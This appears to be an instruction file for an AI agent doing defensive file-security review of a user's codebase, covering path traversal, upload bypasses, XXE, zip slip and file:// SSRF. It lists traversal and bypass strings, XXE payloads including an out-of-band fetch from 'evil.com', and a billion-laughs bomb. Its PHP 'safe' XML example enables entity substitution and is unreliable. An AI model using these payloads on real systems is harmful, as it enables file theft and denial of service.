Perseus File

Perseus File Security Specialist

Context & Authorization

IMPORTANT: This skill performs file security analysis on the user's own codebase. This is defensive security testing to find file handling vulnerabilities.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

Multi-Language Support

Overview

This specialist skill performs comprehensive file security analysis including path traversal, file upload vulnerabilities, XML external entities (XXE), and archive extraction attacks.

When to Use: After /scan identifies file upload endpoints, file operations, or XML processing.

Goal: Find all file-related vulnerabilities that could lead to arbitrary file read/write or code execution.

Engagement Mode Compatibility

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active file-path/upload tests.
2. Default to PRODUCTION_SAFE if mode is absent.
3. Enforce kill-switch thresholds and stop on instability.
4. Never overwrite, delete, or alter real production data during verification.

File Security Risks Covered

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md when present.
• In production mode, prefer code-level evidence and minimal safe probes.

Phase 1: Path Traversal Analysis (4 Parallel Agents)

1. Path Traversal Read Analyst:

   • "Find file read operations with user input in path."

   Language-Specific Patterns:

   javascriptCopy code
   // Node.js - VULNERABLE
   const filePath = req.query.file;
   fs.readFile(filePath, callback);
   fs.readFileSync(`./uploads/${filename}`);  // filename = "../../../etc/passwd"
   
   // Node.js - SAFE
   const safePath = path.join(__dirname, 'uploads', path.basename(filename));
   if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
     throw new Error('Invalid path');
   }
   

   goCopy code
   // Go - VULNERABLE
   filename := r.URL.Query().Get("file")
   data, _ := os.ReadFile(filename)
   
   // Go - SAFE
   filename := filepath.Base(r.URL.Query().Get("file"))
   safePath := filepath.Join(uploadDir, filename)
   if !strings.HasPrefix(safePath, uploadDir) {
       return errors.New("invalid path")
   }
   

   pythonCopy code
   # Python - VULNERABLE
   filename = request.args.get('file')
   with open(f"uploads/{filename}") as f:
       return f.read()
   
   # Python - SAFE
   from pathlib import Path
   base = Path("uploads").resolve()
   requested = (base / filename).resolve()
   if not str(requested).startswith(str(base)):
       raise ValueError("Invalid path")
   

   phpCopy code
   // PHP - VULNERABLE
   $file = $_GET['file'];
   readfile("uploads/" . $file);
   
   // PHP - SAFE
   $file = basename($_GET['file']);
   $path = realpath("uploads/" . $file);
   if (strpos($path, realpath("uploads/")) !== 0) {
       die("Invalid path");
   }
   

   rustCopy code
   // Rust - VULNERABLE
   let path = format!("uploads/{}", user_input);
   std::fs::read_to_string(&path)?;
   
   // Rust - SAFE
   let base = std::path::Path::new("uploads").canonicalize()?;
   let requested = base.join(&user_input).canonicalize()?;
   if !requested.starts_with(&base) {
       return Err("Invalid path");
   }
   

   javaCopy code
   // Java - VULNERABLE
   String filename = request.getParameter("file");
   Files.readAllBytes(Paths.get("uploads", filename));
   
   // Java - SAFE
   Path base = Paths.get("uploads").toAbsolutePath().normalize();
   Path requested = base.resolve(filename).normalize();
   if (!requested.startsWith(base)) {
       throw new SecurityException("Invalid path");
   }
   

2. Path Traversal Write Analyst:

   • "Find file write operations with user input in path."

   Patterns:

   javascriptCopy code
   // VULNERABLE - Write to user-controlled path
   fs.writeFileSync(`./data/${req.body.filename}`, content);
   // Attack: filename = "../../../.bashrc"
   

3. Path Traversal Delete Analyst:

   • "Find file delete operations with user input."

   Patterns:

   javascriptCopy code
   // VULNERABLE
   fs.unlinkSync(`./uploads/${req.params.file}`);
   // Attack: file = "../../../important.db"
   

4. Path Normalization Analyst:

   • "Check for path normalization bypasses."

   Bypass Patterns:

   Copy code
   ../../../etc/passwd
   ..%2f..%2f..%2fetc/passwd
   ..%252f..%252f..%252fetc/passwd (double encoding)
   ....//....//....//etc/passwd
   ..\/..\/..\/etc/passwd (Windows)
   ..%5c..%5c..%5cetc/passwd (Windows encoded)
   

Phase 2: File Upload Analysis (5 Parallel Agents)

1. Extension Validation Analyst:

   • "Check file extension validation."

   Bypass Patterns:

   Bypass	Description
   file.php.jpg	Double extension
   file.pHp	Case variation
   file.php%00.jpg	Null byte (old)
   file.php;.jpg	Semicolon (IIS)
   file.php::$DATA	NTFS stream
   file.jpg.php	Extension order

   Vulnerable Code:

   javascriptCopy code
   // VULNERABLE - Blacklist
   if (!filename.endsWith('.exe')) {
     // .php, .jsp, .aspx not blocked!
   }
   
   // VULNERABLE - Only checks first extension
   const ext = path.extname(filename);  // Returns .jpg for file.php.jpg
   
   // SAFE - Whitelist + full check
   const allowedExtensions = ['.jpg', '.png', '.gif'];
   const ext = path.extname(filename).toLowerCase();
   if (!allowedExtensions.includes(ext)) {
     throw new Error('Invalid extension');
   }
   

2. MIME Type Validation Analyst:

   • "Check content type validation."

   Bypass Patterns:

   • Modifying Content-Type header
   • Polyglot files (valid image + PHP)
   • Magic byte manipulation

   Vulnerable Code:

   javascriptCopy code
   // VULNERABLE - Trust Content-Type header
   if (req.file.mimetype.startsWith('image/')) {
     // Attacker sets: Content-Type: image/png
   }
   
   // SAFE - Check actual file content (magic bytes)
   const FileType = require('file-type');
   const type = await FileType.fromBuffer(buffer);
   if (!type || !['image/jpeg', 'image/png'].includes(type.mime)) {
     throw new Error('Invalid file type');
   }
   

3. Upload Location Analyst:

   • "Check where files are stored and if executable."

   Issues:

   • Uploading to web root
   • Uploading to directory with execute permissions
   • Predictable filenames
   • No access control on uploaded files

4. File Size Analyst:

   • "Check file size limits."

   Issues:

   • No size limit (DoS)
   • Client-side only limit
   • Size checked after full upload

5. Filename Sanitization Analyst:

   • "Check filename handling."

   Issues:

   javascriptCopy code
   // VULNERABLE - Using original filename
   const dest = `uploads/${req.file.originalname}`;
   
   // SAFE - Generate random filename
   const dest = `uploads/${crypto.randomUUID()}${ext}`;
   

Phase 3: XXE Analysis (3 Parallel Agents)

1. XML Parser Configuration Analyst:

   • "Find XML parsing with unsafe configuration."

   Language-Specific Patterns:

   javascriptCopy code
   // Node.js/libxmljs - VULNERABLE
   libxmljs.parseXml(xml, { noent: true });
   
   // Node.js - SAFE
   libxmljs.parseXml(xml, { noent: false, nonet: true });
   

   pythonCopy code
   # Python/lxml - VULNERABLE
   etree.parse(source)
   etree.fromstring(xml_string)
   
   # Python - SAFE
   parser = etree.XMLParser(resolve_entities=False, no_network=True)
   etree.parse(source, parser)
   

   javaCopy code
   // Java - VULNERABLE
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
   DocumentBuilder db = dbf.newDocumentBuilder();
   db.parse(inputStream);
   
   // Java - SAFE
   dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
   dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
   dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
   

   phpCopy code
   // PHP - VULNERABLE
   $doc = new DOMDocument();
   $doc->loadXML($xml);
   
   // PHP - SAFE
   libxml_disable_entity_loader(true);  // PHP < 8.0
   $doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
   

   goCopy code
   // Go - xml.Decoder is safe by default (no entity expansion)
   // But check for custom entity handling
   

2. XXE Payload Analyst:

   • "Check for XXE attack vectors."

   Payloads:

   xmlCopy code
   <!-- File Read -->
   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
   <data>&xxe;</data>
   
   <!-- SSRF -->
   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]>
   
   <!-- Blind XXE (OOB) -->
   <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]>
   

3. XML Bomb Analyst:

   • "Check for billion laughs / XML bomb protection."

   Attack:

   xmlCopy code
   <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!-- ... exponential expansion ... -->
   ]>
   <data>&lol9;</data>
   

Phase 4: Archive Extraction Analysis (3 Parallel Agents)

1. Zip Slip Analyst:

   • "Find archive extraction with path traversal."

   Language-Specific Patterns:

   javascriptCopy code
   // Node.js/adm-zip - VULNERABLE
   zip.extractAllTo(destPath, true);
   // Entry: ../../malicious.js
   
   // Node.js - SAFE
   for (const entry of zip.getEntries()) {
     const destPath = path.join(dest, entry.entryName);
     if (!destPath.startsWith(path.resolve(dest))) {
       throw new Error('Zip slip detected');
     }
   }
   

   pythonCopy code
   # Python - VULNERABLE
   import zipfile
   with zipfile.ZipFile(file) as z:
       z.extractall(dest)  # No path check!
   
   # Python - SAFE
   for name in z.namelist():
       dest_path = os.path.join(dest, name)
       if not os.path.abspath(dest_path).startswith(os.path.abspath(dest)):
           raise ValueError("Zip slip detected")
   

   goCopy code
   // Go - VULNERABLE
   for _, f := range r.File {
       destPath := filepath.Join(dest, f.Name)
       // No validation!
   }
   
   // Go - SAFE
   destPath := filepath.Join(dest, f.Name)
   if !strings.HasPrefix(destPath, filepath.Clean(dest)+string(os.PathSeparator)) {
       return errors.New("zip slip detected")
   }
   

   javaCopy code
   // Java - VULNERABLE
   ZipEntry entry = zis.getNextEntry();
   File file = new File(destDir, entry.getName());
   
   // Java - SAFE
   File destFile = new File(destDir, entry.getName());
   String destPath = destFile.getCanonicalPath();
   if (!destPath.startsWith(destDir.getCanonicalPath())) {
       throw new SecurityException("Zip slip detected");
   }
   

2. Tar Extraction Analyst:

   • "Check tar extraction for similar issues."

   Issues:

   • Path traversal in tar entries
   • Symlink attacks in tar
   • Device files in tar (Unix)

3. Symlink Attack Analyst:

   • "Check for symlink following in archive extraction."

   Attack:

   Copy code
   tar contains:
   1. symlink: uploads -> /etc
   2. file: uploads/passwd (overwritten!)
   

Phase 5: File Protocol SSRF (2 Parallel Agents)

1. File URL Analyst:

   • "Check for file:// protocol in URL handlers."

   Patterns:

   javascriptCopy code
   // VULNERABLE - Accepts file://
   const response = await fetch(userUrl);
   // Attack: file:///etc/passwd
   
   // SAFE - Protocol validation
   const url = new URL(userUrl);
   if (!['http:', 'https:'].includes(url.protocol)) {
     throw new Error('Invalid protocol');
   }
   

2. Local File Inclusion Analyst:

   • "Check for local file inclusion via various methods."

Safe Payload Reference

Output Requirements

Create deliverables/file_security_analysis.md:

markdownCopy code
# File Security Analysis

## Summary
| Category | Instances Found | Vulnerable | Safe |
|----------|-----------------|------------|------|
| Path Traversal | X | Y | Z |
| File Upload | X | Y | Z |
| XXE | X | Y | Z |
| Zip Slip | X | Y | Z |
| SSRF (file://) | X | Y | Z |

## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go, Python/FastAPI]
- File Libraries: [e.g., multer, formidable]

## Critical Findings

### [FILE-001] Path Traversal in File Download
**Severity:** Critical
**Language:** Node.js
**Location:** `routes/files.js:34`

**Vulnerable Code:**
```javascript
app.get('/download', (req, res) => {
  const file = req.query.file;
  res.sendFile(`./uploads/${file}`);
});

Attack:

Copy code
GET /download?file=../../../etc/passwd

Remediation:

javascriptCopy code
const safeName = path.basename(req.query.file);
const safePath = path.join(__dirname, 'uploads', safeName);
if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
  return res.status(400).send('Invalid path');
}
res.sendFile(safePath);

[FILE-002] Unrestricted File Upload

Severity: Critical Location: controllers/upload.js:12

[FILE-003] XXE in XML Parser

Severity: High Language: Python Location: utils/xml_parser.py:8

File Upload Security Checklist

Path Handling Audit

Recommendations

1. Use path.basename() or equivalent for all user-provided filenames
2. Validate resolved paths are within expected directory
3. Implement file type validation using magic bytes
4. Store uploads outside web root
5. Disable XML external entity processing
6. Validate archive entries before extraction

Copy code

**Next Step:** File vulnerabilities should be verified with actual payload testing.